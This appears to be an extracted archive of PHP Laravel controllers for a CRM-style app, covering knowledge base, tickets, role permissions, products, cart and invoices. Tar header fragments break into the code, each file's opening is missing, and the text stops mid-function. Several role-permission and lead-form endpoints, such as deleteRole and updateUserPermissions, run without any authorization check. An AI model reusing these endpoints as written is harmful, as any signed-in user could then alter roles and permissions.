Reply::dataOnly(['status' => 'success', 'html' => $html, 'categories' => $this->categories, 'selected_category_id' => $id, 'title' => $this->pageTitle]); } $this->view = 'knowledge-base.ajax.create'; return view('knowledge-base.create', $this->data); } public function store(KnowledgeBaseStore $request) { $this->addPermission = user()->permission('add_knowledgebase'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $knowledgeBase = new KnowledgeBase(); $knowledgeBase->to = $request->to; $knowledgeBase->heading = $request->heading; $knowledgeBase->category_id = $request->category; $knowledgeBase->description = trim_editor($request->description); $knowledgeBase->added_by = user()->id; $knowledgeBase->save(); $redirectUrl = route('knowledgebase.index') . '?id=' . $knowledgeBase->category_id; return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => $redirectUrl, 'knowledgeBaseId' => $knowledgeBase->id]); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $this->viewPermission = user()->permission('view_knowledgebase'); abort_403(!in_array($this->viewPermission, ['all', 'added'])); $this->knowledge = KnowledgeBase::findOrFail($id); $this->pageTitle = __('modules.knowledgeBase.knowledgebase'); $this->view = 'knowledge-base.ajax.show'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('knowledge-base.create', $this->data); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->editPermission = user()->permission('edit_knowledgebase'); abort_403(!in_array($this->editPermission, ['all', 'added'])); $this->knowledge = KnowledgeBase::findOrFail($id); $this->categories = KnowledgeBaseCategory::all(); $this->pageTitle = __('modules.knowledgeBase.updateknowledge'); $this->view = 'knowledge-base.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('knowledge-base.create', $this->data); } public function update(KnowledgeBaseStore $request, $id) { $this->editPermission = user()->permission('edit_knowledgebase'); abort_403(!in_array($this->editPermission, ['all', 'added'])); $knowledge = KnowledgeBase::findOrFail($id); $knowledge->heading = $request->heading; $knowledge->description = trim_editor($request->description); $knowledge->to = $request->to; $knowledge->category_id = $request->category; $knowledge->added_by = user()->id; $knowledge->save(); $redirectUrl = route('knowledgebase.index') . '?id=' . $knowledge->category_id; return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => $redirectUrl]); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $this->deletePermission = user()->permission('delete_knowledgebase'); abort_403(!in_array($this->deletePermission, ['all', 'added'])); KnowledgeBase::destroy($id); return Reply::successWithData(__('messages.deleteSuccess'), ['redirectUrl' => route('knowledgebase.index')]); } public function applyQuickAction(Request $request) { switch ($request->action_type) { case 'delete': $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); default: return Reply::error(__('messages.selectAction')); } } protected function deleteRecords($request) { $this->deletePermission = user()->permission('delete_knowledgebase'); abort_403(!in_array($this->deletePermission, ['all', 'added'])); KnowledgeBase::whereIn('id', explode(',', $request->row_ids))->forceDelete(); } public function searchQuery($srch_query = '') { $model = KnowledgeBase::query(); if ($srch_query != '') { $model->where('heading', 'LIKE', '%' . $srch_query . '%'); } if (in_array('employee', user_roles()) && !in_array('admin', user_roles())) { $model->where('to', 'employee'); } if (in_array('client', user_roles()) && !in_array('admin', user_roles())) { $model->where('to', 'client'); } if (user()->permission('view_knowledgebase') == 'added' && !in_array('admin', user_roles())) { $model->where('added_by', user()->id); } if (request('categoryId') != '') { $model->where('category_id', request('categoryId')); } $this->knowledgebases = $model->with('knowledgebasecategory')->get(); $this->editKnowledgebasePermission = user()->permission('edit_knowledgebase'); $this->deleteKnowledgebasePermission = user()->permission('delete_knowledgebase'); $html = view('knowledge-base.ajax.knowledgedata', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html]); } } Http/Controllers/TicketSettingController.php000064400000011273150325104510015327 0ustar00pageTitle = 'app.menu.ticketSettings'; $this->activeSettingMenu = 'ticket_settings'; $this->middleware(function ($request, $next) { abort_403(!(user()->permission('manage_ticket_setting') == 'all' && in_array('tickets', user_modules()))); return $next($request); }); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $this->agents = User::with('employeeDetail.designation:id,name')->whereHas('agent')->with('agentGroup', 'agent')->get(); $this->employees = User::doesntHave('agent') ->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->select('users.id', 'users.name', 'users.email', 'users.created_at') ->where('roles.name', 'employee') ->get(); $this->groups = TicketGroup::all(); $this->ticketTypes = TicketType::all(); $this->templates = TicketReplyTemplate::all(); $this->channels = TicketChannel::all(); $this->ticketEmailSetting = TicketEmailSetting::first(); $this->ticketSettings = LeadSetting::select('ticket_round_robin_status')->first(); $this->ticketAgentSettings = TicketSettingForAgents::first(); $this->view = 'ticket-settings.ajax.agent'; $tab = request('tab'); switch ($tab) { case 'type': $this->pageTitle = 'app.menu.ticketTypes'; $this->view = 'ticket-settings.ajax.type'; break; case 'channel': $this->pageTitle = 'app.menu.ticketChannel'; $this->view = 'ticket-settings.ajax.channel'; break; case 'reply-template': $this->pageTitle = 'app.menu.replyTemplates'; $this->view = 'ticket-settings.ajax.reply-template'; break; case 'round-robin': $this->pageTitle = 'modules.deal.dealMethod'; $this->view = 'ticket-settings.ajax.round-robin'; break; case 'email-sync': $this->pageTitle = 'app.menu.emailSync'; $this->view = 'ticket-settings.ajax.email-sync'; break; case 'group-manage': $this->pageTitle = 'app.menu.groupManage'; $this->view = 'ticket-settings.ajax.group-manage'; break; case 'ticket-agent-setting': $this->pageTitle = 'modules.deal.ticketSetting'; $this->view = 'ticket-settings.ajax.ticket-agent-setting'; break; default: $this->pageTitle = 'app.menu.ticketAgents'; $this->view = 'ticket-settings.ajax.agent'; break; } $this->activeTab = $tab ?: 'agent'; if (request()->ajax()) { $html = view($this->view, $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle, 'activeTab' => $this->activeTab]); } return view('ticket-settings.index', $this->data); } public function updateTicketSettingForAgent($id, Request $request) { $ticketSetting = TicketSettingForAgents::first(); if(!$ticketSetting){ $ticketSetting = new TicketSettingForAgents; $ticketSetting->company_id = $id; } $ticketSetting->user_id = user()->id; $ticketSetting->ticket_scope = $request->ticketScope; $ticketSetting->group_id = $request->groupId; $ticketSetting->updated_by = user()->id; $ticketSetting->save(); return reply::success(__('messages.updateSuccess')); } public function updateTicketSettingStatus($id, Request $request) { $leadSetting = LeadSetting::where('company_id', $id)->first(); if(!$leadSetting){ $leadSetting = new LeadSetting; $leadSetting->company_id = $id; $leadSetting->user_id = $request->userId; } if($request->requestFromTicket === 'yes') { $leadSetting->ticket_round_robin_status = $request->lead_setting_status; } $leadSetting->save(); return reply::success(__('messages.updateSuccess')); } } Http/Controllers/RolePermissionController.php000064400000032245150325104510015522 0ustar00 1, 'owned' => 2, 'both' => 3, 'all' => 4, 'none' => 5 ]; public function __construct() { parent::__construct(); $this->pageTitle = 'app.menu.rolesPermission'; $this->activeSettingMenu = 'role_permissions'; } public function index() { abort_403(user()->permission('manage_role_permission_setting') != 'all'); $this->roles = Role::withCount('users') ->orderBy('id', 'asc') ->get(); $otherRoleUserCount = 0; foreach ($this->roles->whereNotIn('name', ['employee', 'client']) as $role) { $otherRoleUserCount += $role->users_count; } $this->otherRoleUserCount = $otherRoleUserCount; $this->totalPermissions = Permission::count(); return view('role-permissions.index', $this->data); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function create() { abort_403(user()->permission('manage_role_permission_setting') != 'all'); $this->roles = Role::withCount('unsyncedUsers')->get(); return view('role-permissions.ajax.create', $this->data); } public function store(Request $request) { abort_403(user()->permission('manage_role_permission_setting') != 'all'); $permissionType = $request->permissionType; abort_if($permissionType == '', 404); $roleId = $request->roleId; $permissionId = $request->permissionId; $role = Role::with('users', 'users.role')->findOrFail($roleId); // Update role's permission $permissionRole = PermissionRole::where('permission_id', $permissionId) ->where('role_id', $roleId) ->first(); if ($permissionRole) { $permissionRole = PermissionRole::where('permission_id', $permissionId) ->where('role_id', $roleId) ->update(['permission_type_id' => $permissionType]); } else { $permissionRole = new PermissionRole(); $permissionRole->permission_id = $permissionId; $permissionRole->role_id = $roleId; $permissionRole->permission_type_id = $permissionType; $permissionRole->save(); } // Prepare user permissions for bulk insert $userPermissions = []; foreach ($role->users as $roleuser) { if (($role->name == 'employee' && count($roleuser->role) == 1) || $role->name != 'employee') { if ($roleuser->customised_permissions == 0) { $userPermissions[] = [ 'permission_id' => $permissionId, 'user_id' => $roleuser->id, 'permission_type_id' => $permissionType ]; } } cache()->forget('sidebar_user_perms_' . $roleuser->id); } // Perform bulk insert or update for user permissions if (!empty($userPermissions)) { UserPermission::upsert( $userPermissions, ['permission_id', 'user_id'], ['permission_type_id'] ); } \Illuminate\Support\Facades\Artisan::call('cache:clear'); return Reply::success(__('messages.updateSuccess')); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function permissions() { $roleId = request('roleId'); $this->role = Role::with('permissions')->where('name', '<>', 'admin')->findOrFail($roleId); if ($this->role->name == 'client') { $clientModules = ModuleSetting::where('type', 'client')->get()->pluck('module_name'); $this->modulesData = Module::with('permissions')->withCount('customPermissions') ->whereIn('module_name', $clientModules)->where('module_name', '<>', 'messages')->get(); } else { $this->modulesData = Module::with('permissions')->where('module_name', '<>', 'messages')->withCount('customPermissions')->get(); } $role = in_array($this->role->name,['employee','client']) ? $this->role->name : 'employee'; $this->employeeModules = array_merge( ModuleSetting::where('module_name', '<>', 'settings') ->where('status', 'active') ->where('type', $role) ->pluck('module_name') ->toArray(), ['settings', 'dashboards'] ); $html = view('role-permissions.ajax.permissions', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html]); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function updateUserPermissions($roleId, $userId) { $rolePermissions = PermissionRole::where('role_id', $roleId)->get(); foreach ($rolePermissions as $key => $value) { UserPermission::where('permission_id', $value->permission_id) ->where('user_id', $userId) ->update(['permission_type_id' => $value->permission_type_id]); } cache()->forget('sidebar_user_perms_' . $userId); return Reply::dataOnly(['status' => 'success']); } public function storeRole(StoreRole $request) { abort_403(user()->permission('manage_role_permission_setting') != 'all'); $role = new Role(); $role->name = $request->name; $role->display_name = $request->name; $role->save(); if ($request->import_from_role != '') { $importRolePermissions = PermissionRole::where('role_id', $request->import_from_role)->get(); if (count($importRolePermissions) == 0) { return Reply::error(__('messages.noRoleFound')); } foreach ($importRolePermissions as $perm) { $perm->replicate()->fill([ 'role_id' => $role->id ])->save(); } } else { $allPermissions = Permission::all(); $role->perms()->sync([]); $role->attachPermissions($allPermissions); } return Reply::success(__('messages.recordSaved')); } public function deleteRole(Request $request) { Role::whereId($request->roleId)->delete(); return Reply::dataOnly(['status' => 'success']); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function customPermissions(Request $request) { $moduleId = $request->moduleId; $roleId = request('roleId'); $this->role = Role::with('permissions')->findOrFail($roleId); $this->modulesData = Module::with('customPermissions')->findOrFail($moduleId); $html = view('role-permissions.ajax.custom_permissions', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html]); } public function resetPermissions() { $role = Role::with('roleuser', 'roleuser.user.roles')->findOrFail(request('roleId')); $allPermissions = Permission::all(); PermissionRole::where('role_id', $role->id)->delete(); switch ($role->name) { case 'employee': $rolePermissionsArray = PermissionRole::employeeRolePermissions(); break; case 'client': $rolePermissionsArray = PermissionRole::clientRolePermissions(); break; default: return Reply::error(__('messages.permissionDenied')); } $this->permissionrole($allPermissions, $role->name, $role->company_id); $userIds = $role->roleuser->pluck('user_id'); User::whereIn('id', $userIds)->update(['permission_sync' => 0]); return Reply::success(__('messages.recordSaved')); } public function update(Request $request, $id) { Role::where('id', $id)->update(['display_name' => $request->role_name]); } public function addMissingAdminPermission($companyId = null) { $adminRole = Role::where('name', 'admin')->where('company_id', $companyId)->first(); if (!$adminRole) { return true; } $adminPermission = PermissionRole::where('role_id', $adminRole->id)->pluck('permission_id')->toArray(); $allTypePermisison = PermissionType::where('name', 'all')->first(); $missingPermissions = Permission::select('id')->whereNotIn('id', $adminPermission)->get(); $data = []; foreach ($missingPermissions as $permission) { $data[] = [ 'permission_id' => $permission->id, 'role_id' => $adminRole->id, 'permission_type_id' => $allTypePermisison->id, ]; } foreach (array_chunk($data, 100) as $item) { PermissionRole::insert($item); } if (count($missingPermissions) > 0) { $this->addMissingAdminUserPermission($adminRole->id); } } public function addMissingEmployeePermission($companyId) { $roles = Role::where('name', '<>', 'admin')->where('company_id', $companyId)->get(); foreach ($roles as $employeeRole) { $employeePermission = PermissionRole::where('role_id', $employeeRole->id)->pluck('permission_id')->toArray(); $noneTypePermisison = PermissionType::where('name', 'none')->first(); $missingPermissions = Permission::select('id')->whereNotIn('id', $employeePermission)->get(); $data = []; foreach ($missingPermissions as $permission) { $data[] = [ 'permission_id' => $permission->id, 'role_id' => $employeeRole->id, 'permission_type_id' => $noneTypePermisison->id, ]; } foreach (array_chunk($data, 100) as $item) { PermissionRole::insert($item); } if (count($missingPermissions) > 0) { $this->addMissingUserPermission($employeeRole->id); } } } public function addMissingAdminUserPermission($roleId) { $role = Role::withCount('permissions')->findOrFail($roleId); $users = $role->users; foreach ($users as $user) { $user->assignUserRolePermission($roleId); } } public function addMissingUserPermission($roleId) { $role = Role::withCount('permissions')->findOrFail($roleId); $users = $role->users; foreach ($users as $user) { $userRole = $user->roles->pluck('name')->toArray(); if (!in_array('admin', $userRole)) { $user->assignUserRolePermission($roleId); } } } public function rolePermissionInsert($allPermissions, $roleId, $permissionType = 'none') { $data = []; foreach ($allPermissions as $permission) { $data[] = [ 'permission_id' => $permission->id, 'role_id' => $roleId, 'permission_type_id' => $this->permissionTypes[$permissionType], ]; } foreach (array_chunk($data, 100) as $item) { PermissionRole::insert($item); } } public function permissionRole($allPermissions, $type, $companyId) { $role = Role::with('roleuser', 'roleuser.user.roles') ->where('name', $type) ->where('company_id', $companyId) ->first(); PermissionRole::where('role_id', $role->id)->delete(); $this->rolePermissionInsert($allPermissions, $role->id); $permissionArray = []; if ($type === 'client') { $permissionArray = PermissionRole::clientRolePermissions(); } elseif ($type === 'employee') { $permissionArray = PermissionRole::employeeRolePermissions(); } $permissionArrayKeys = array_keys($permissionArray); $permissions = Permission::whereIn('name', $permissionArrayKeys)->get(); PermissionRole::whereIn('permission_id', $permissions->pluck('id')->toArray()) ->where('role_id', $role->id) ->delete(); $updatePermissionArray = []; foreach ($permissions as $permission) { $updatePermissionArray[] = ['permission_id' => $permission->id, 'role_id' => $role->id, 'permission_type_id' => $permissionArray[$permission->name]]; } PermissionRole::insert($updatePermissionArray); if ($type === 'client') { foreach ($role->roleuser as $roleuser) { $roleuser->user->assignUserRolePermission($role->id); } } } } Http/Controllers/LeadCustomFormController.php000064400000002700150325104510015425 0ustar00pageTitle = 'modules.lead.leadForm'; $this->middleware(function ($request, $next) { abort_403(!in_array('leads', $this->user->modules)); return $next($request); }); } public function index() { $manageLeadFormPermission = user()->permission('manage_lead_custom_forms'); abort_403($manageLeadFormPermission != 'all'); $this->leadFormFields = LeadCustomForm::get(); return view('leads.lead-form.index', $this->data); } /** * @param Request $request * @param int $id * @return array */ public function update(Request $request, $id) { LeadCustomForm::where('id', $id)->update([ 'status' => $request->status ]); return Reply::success(__('messages.updateSuccess')); } /** * sort fields order * * @return \Illuminate\Http\Response */ public function sortFields() { $sortedValues = request('sortedValues'); foreach ($sortedValues as $key => $value) { LeadCustomForm::where('id', $value)->update(['field_order' => $key + 1]); } return Reply::dataOnly([]); } } Http/Controllers/ForgotPasswordController.php000064400000000145150325104510015525 0ustar00pageTitle = 'app.menu.products'; $this->middleware( function ($request, $next) { in_array('client', user_roles()) ? abort_403(!(in_array('orders', $this->user->modules) && user()->permission('add_order') == 'all')) : abort_403(!in_array('products', $this->user->modules)); return $next($request); } ); } /** * @param ProductsDataTable $dataTable * @return mixed|void */ public function index(ProductsDataTable $dataTable) { $viewPermission = user()->permission('view_product'); abort_403(!in_array($viewPermission, ['all', 'added'])); $productDetails = []; $productDetails = OrderCart::all(); $this->productDetails = $productDetails; $this->totalProducts = Product::count(); $this->cartProductCount = OrderCart::where('client_id', user()->id)->count(); $this->categories = ProductCategory::all(); $this->subCategories = ProductSubCategory::all(); $this->unitTypes = UnitType::all(); return $dataTable->render('products.index', $this->data); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $this->pageTitle = __('app.menu.addProducts'); $this->addPermission = user()->permission('add_product'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->taxes = Tax::all(); $this->categories = ProductCategory::all(); $product = new Product(); $this->unit_types = UnitType::all(); $getCustomFieldGroupsWithFields = $product->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->view = 'products.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('products.create', $this->data); } /** * * @param StoreProductRequest $request * @return void */ public function store(StoreProductRequest $request) { $this->addPermission = user()->permission('add_product'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $product = new Product(); $product->name = $request->name; $product->price = $request->price; $product->taxes = $request->tax ? json_encode($request->tax) : null; $product->description = trim_editor($request->description); $product->hsn_sac_code = $request->hsn_sac_code; $product->sku = $request->sku; $product->unit_id = $request->unit_type; $product->allow_purchase = $request->purchase_allow == 'no'; $product->downloadable = $request->downloadable == 'true'; $product->category_id = ($request->category_id) ?: null; $product->sub_category_id = ($request->sub_category_id) ?: null; if (request()->hasFile('downloadable_file') && request()->downloadable == 'true') { Files::deleteFile($product->downloadable_file, ProductFiles::FILE_PATH); $product->downloadable_file = Files::uploadLocalOrS3(request()->downloadable_file, ProductFiles::FILE_PATH); } $product->save(); // To add custom fields data if ($request->custom_fields_data) { $product->updateCustomFieldData($request->custom_fields_data); } $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('products.index'); } if($request->add_more == 'true') { $html = $this->create(); return Reply::successWithData(__('messages.recordSaved'), ['html' => $html, 'add_more' => true, 'productID' => $product->id, 'defaultImage' => $request->default_image ?? 0]); } return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => $redirectUrl, 'productID' => $product->id, 'defaultImage' => $request->default_image ?? 0]); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $this->product = Product::with('category', 'subCategory')->findOrFail($id)->withCustomFields(); $this->viewPermission = user()->permission('view_product'); abort_403(!($this->viewPermission == 'all' || ($this->viewPermission == 'added' && $this->product->added_by == user()->id))); $this->taxes = Tax::withTrashed()->get(); $this->pageTitle = $this->product->name; $this->taxValue = ''; $taxes = []; foreach ($this->taxes as $tax) { if ($this->product && isset($this->product->taxes) && array_search($tax->id, json_decode($this->product->taxes)) !== false) { $taxes[] = $tax->tax_name . ' : ' . $tax->rate_percent . '%'; } } $this->taxValue = implode(', ', $taxes); $getCustomFieldGroupsWithFields = $this->product->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->view = 'products.ajax.show'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('products.create', $this->data); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->product = Product::findOrFail($id)->withCustomFields(); $this->editPermission = user()->permission('edit_product'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $this->product->added_by == user()->id))); $this->taxes = Tax::all(); $this->categories = ProductCategory::all(); $this->unit_types = UnitType::all(); $this->subCategories = !is_null($this->product->sub_category_id) ? ProductSubCategory::where('category_id', $this->product->category_id)->get() : []; $this->pageTitle = __('app.update') . ' ' . __('app.menu.products'); $images = []; if (isset($this->product) && isset($this->product->files)) { foreach ($this->product->files as $file) { $image['id'] = $file->id; $image['name'] = $file->filename; $image['hashname'] = $file->hashname; $image['file_url'] = $file->file_url; $image['size'] = $file->size; $images[] = $image; } } $this->images = json_encode($images); $getCustomFieldGroupsWithFields = $this->product->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->view = 'products.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('products.create', $this->data); } /** * @param UpdateProductRequest $request * @param int $id * @return array|void * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(UpdateProductRequest $request, $id) { $product = Product::findOrFail($id)->withCustomFields(); $this->editPermission = user()->permission('edit_product'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $product->added_by == user()->id))); $product->name = $request->name; $product->price = $request->price; $product->taxes = $request->tax ? json_encode($request->tax) : null; $product->hsn_sac_code = $request->hsn_sac_code; $product->sku = $request->sku; $product->unit_id = $request->unit_type; $product->description = trim_editor($request->description); $product->allow_purchase = ($request->purchase_allow == 'no') ? true : false; $product->downloadable = ($request->downloadable == 'true') ? true : false; $product->category_id = ($request->category_id) ? $request->category_id : null; $product->sub_category_id = ($request->sub_category_id) ? $request->sub_category_id : null; if (request()->hasFile('downloadable_file') && request()->downloadable == 'true') { Files::deleteFile($product->downloadable_file, ProductFiles::FILE_PATH); $product->downloadable_file = Files::uploadLocalOrS3(request()->downloadable_file, ProductFiles::FILE_PATH); } elseif (request()->downloadable == 'true' && $product->downloadable_file == null) { $product->downloadable = false; } // change default image if (!request()->hasFile('file')) { $product->default_image = request()->default_image; } $product->save(); // To add custom fields data if ($request->custom_fields_data) { $product->updateCustomFieldData($request->custom_fields_data); } return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => route('products.index'), 'defaultImage' => $request->default_image ?? 0]); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $products = Product::findOrFail($id); $this->deletePermission = user()->permission('delete_product'); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $products->added_by == user()->id))); $products->delete(); return Reply::successWithData(__('messages.deleteSuccess'), ['redirectUrl' => route('products.index')]); } /** * XXXXXXXXXXX * * @return array */ public function applyQuickAction(Request $request) { switch ($request->action_type) { case 'delete': $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); case 'change-purchase': $this->allowPurchase($request); return Reply::success(__('messages.updateSuccess')); default: return Reply::error(__('messages.selectAction')); } } protected function deleteRecords($request) { abort_403(user()->permission('delete_product') != 'all'); Product::whereIn('id', explode(',', $request->row_ids))->forceDelete(); } protected function allowPurchase($request) { abort_403(user()->permission('edit_product') != 'all'); Product::whereIn('id', explode(',', $request->row_ids))->update(['allow_purchase' => $request->status]); } public function addCartItem(Request $request) { $newItem = $request->productID; $orderExist = OrderCart::where('product_id', '=', $newItem)->where('client_id', user()->id)->exists(); $quantity = 1; if ($orderExist == true) { $orderCartUpdate = OrderCart::where('product_id', '=', $newItem)->where('client_id', user()->id)->first(); $quantity = ($request->has('quantity')) ? $request->quantity : $orderCartUpdate->quantity + 1; OrderCart::where('product_id', '=', $newItem)->where('client_id', user()->id)->update( [ 'quantity' => $quantity, 'amount' => $orderCartUpdate->unit_price * $quantity, ] ); $productDetails[] = OrderCart::where('product_id', '=', $newItem)->first(); } else { $productDetails = Product::where('id', $newItem)->first(); $product = new OrderCart(); $product->product_id = $productDetails->id; $product->client_id = user()->id; $product->item_name = $productDetails->name; $product->description = $productDetails->description; $product->type = 'item'; $product->quantity = $quantity; $product->unit_price = $productDetails->price; $product->amount = $productDetails->price; $product->taxes = $productDetails->taxes; $product->unit_id = $productDetails->unit_id; $product->hsn_sac_code = $productDetails->hsn_sac_code; $product->save(); $productDetails = $product; } $cartProduct = OrderCart::where('client_id', user()->id)->count(); if (!$request->has('cartType')) { return response(Reply::successWithData(__('messages.recordSaved'), ['status' => 'success', 'cartProduct' => $cartProduct, 'productItems' => $productDetails])); } } public function removeCartItem(Request $request, $id) { if ($request->type == 'all_data') { $products = OrderCart::where('client_id', $id)->delete(); $productDetails = OrderCart::where('client_id', $id)->count(); } else { $products = OrderCart::findOrFail($id); $products->delete(); $productDetails = OrderCart::where('id', $id)->where('client_id', user()->id)->get(); } return response(Reply::successWithData(__('messages.deleteSuccess'), ['status' => 'success', 'productItems' => $productDetails ]))->cookie('productDetails', json_encode($productDetails)); } public function emptyCart() { $this->view = 'products.ajax.empty_cart'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('products.create', $this->data); } public function cart(Request $request) { abort_403(!in_array('client', user_roles())); $this->lastOrder = Order::lastOrderNumber() + 1; $this->invoiceSetting = invoice_setting(); $this->taxes = Tax::all(); $this->products = OrderCart::where('client_id', '=', user()->id)->get(); $this->view = 'products.ajax.cart'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('products.create', $this->data); } public function allProductOption() { $products = Product::all(); $option = ''; foreach ($products as $item) { $option .= ''; } return Reply::dataOnly(['products' => $option]); } public function importProduct() { $this->pageTitle = __('app.importExcel') . ' ' . __('app.menu.product'); $this->addPermission = user()->permission('add_product'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->view = 'products.ajax.import'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('products.create', $this->data); } public function importStore(ImportRequest $request) { $rvalue = $this->importFileProcess($request, ProductImport::class); if($rvalue == 'abort'){ return Reply::error(__('messages.abortAction')); } $view = view('products.ajax.import_progress', $this->data)->render(); return Reply::successWithData(__('messages.importUploadSuccess'), ['view' => $view]); } public function importProcess(ImportProcessRequest $request) { $batch = $this->importJobProcess($request, ProductImport::class, ImportProductJob::class); return Reply::successWithData(__('messages.importProcessStart'), ['batch' => $batch]); } } Http/Controllers/InvoiceController.php000064400000170725150325104510014152 0ustar00pageTitle = 'app.menu.invoices'; $this->middleware(function ($request, $next) { abort_403(!in_array('invoices', $this->user->modules)); return $next($request); }); } public function index(InvoicesDataTable $dataTable) { $viewPermission = user()->permission('view_invoices'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); if (!request()->ajax()) { $this->projects = Project::allProjects(); if (in_array('client', user_roles())) { $this->clients = User::client(); } else { $this->clients = User::allClients(); } } return $dataTable->render('invoices.index', $this->data); } public function create() { $this->addPermission = user()->permission('add_invoices'); $this->pageTitle = __('modules.invoices.addInvoice'); abort_403(!in_array($this->addPermission, ['all', 'added'])); if (request('invoice') != '') { $this->invoiceId = request('invoice'); $this->type = 'invoice'; $this->invoice = Invoice::with('items', 'client', 'client.projects', 'invoicePaymentDetail')->findOrFail($this->invoiceId); } $this->userId = UserService::getUserId(); $this->isClient = User::isClient($this->userId); if ($this->isClient) { $this->client = User::with('projects')->withoutGlobalScope(ActiveScope::class)->findOrFail($this->userId); } // this data is sent from project and client invoices $this->project = request('project_id') ? Project::findOrFail(request('project_id')) : null; if (request('client_id')) { $this->client = User::withoutGlobalScope(ActiveScope::class)->findOrFail(request('client_id')); } if (request('estimate') != '') { $this->estimateId = request('estimate'); $this->type = 'estimate'; $this->estimate = Estimate::with('items', 'client', 'client.clientDetails', 'client.projects')->findOrFail($this->estimateId); $this->estimateCurrency = Currency::where('id', $this->estimate->currency_id)->first(); } if (request('proposal') != '') { $this->proposalId = request('proposal'); $this->type = 'proposal'; $this->estimate = Proposal::with('items', 'lead', 'lead.contact')->findOrFail($this->proposalId); $this->client = $this->estimate->lead->contact->client; $this->proposalCurrency = Currency::where('id', $this->estimate->currency_id)->first(); } $this->currencies = Currency::all(); $this->categories = ProductCategory::all(); $this->lastInvoice = Invoice::lastInvoiceNumber() + 1; $this->invoiceSetting = invoice_setting(); $this->zero = ''; if (strlen($this->lastInvoice) < $this->invoiceSetting->invoice_digit) { $condition = $this->invoiceSetting->invoice_digit - strlen($this->lastInvoice); for ($i = 0; $i < $condition; $i++) { $this->zero = '0' . $this->zero; } } $this->units = UnitType::all(); $this->taxes = Tax::all(); if (module_enabled('Purchase')){ /** @phpstan-ignore-next-line */ $this->products = Product::with('inventory')->get(); } else { $this->products = Product::all(); } $this->clients = User::allClients(); $this->companyAddresses = CompanyAddress::all(); $this->projects = Project::allProjectsHavingClient(); $this->linkInvoicePermission = user()->permission('link_invoice_bank_account'); $this->viewBankAccountPermission = user()->permission('view_bankaccount'); $this->paymentGateway = PaymentGatewayCredentials::first(); $this->invoicePayments = InvoicePaymentDetail::all(); $bankAccounts = BankAccount::where('status', 1)->where('currency_id', company()->currency_id); if($this->viewBankAccountPermission == 'added'){ $bankAccounts = $bankAccounts->where('added_by', $this->userId); } $bankAccounts = $bankAccounts->get(); $this->bankDetails = $bankAccounts; $this->companyCurrency = Currency::where('id', company()->currency_id)->first(); if (request('type') == 'timelog' && in_array('projects', user_modules())) { $this->startDate = now($this->company->timezone)->subDays(7); $this->endDate = now($this->company->timezone); $this->view = 'invoices.ajax.create-timelog-invoice'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('invoices.create', $this->data); } $invoice = new Invoice(); $getCustomFieldGroupsWithFields = $invoice->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->view = 'invoices.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('invoices.create', $this->data); } public function store(StoreInvoice $request) { $quantity = $request->quantity; $product = $request->product_id; $stockAdjustment = []; $userId = UserService::getUserId(); if ((module_enabled('Purchase') && in_array('purchase', user_modules()) && $request->do_it_later == 'direct')) { if(is_array($product)) { $serviceProductIds = Product::whereIn('id', $product)->where('type', 'service')->pluck('id')->toArray(); $nonServiceProductIds = array_diff($product, $serviceProductIds); foreach ($nonServiceProductIds as $key => $productId) { if (!is_null($productId)) { if(!isset($stockAdjustment[$productId])){ 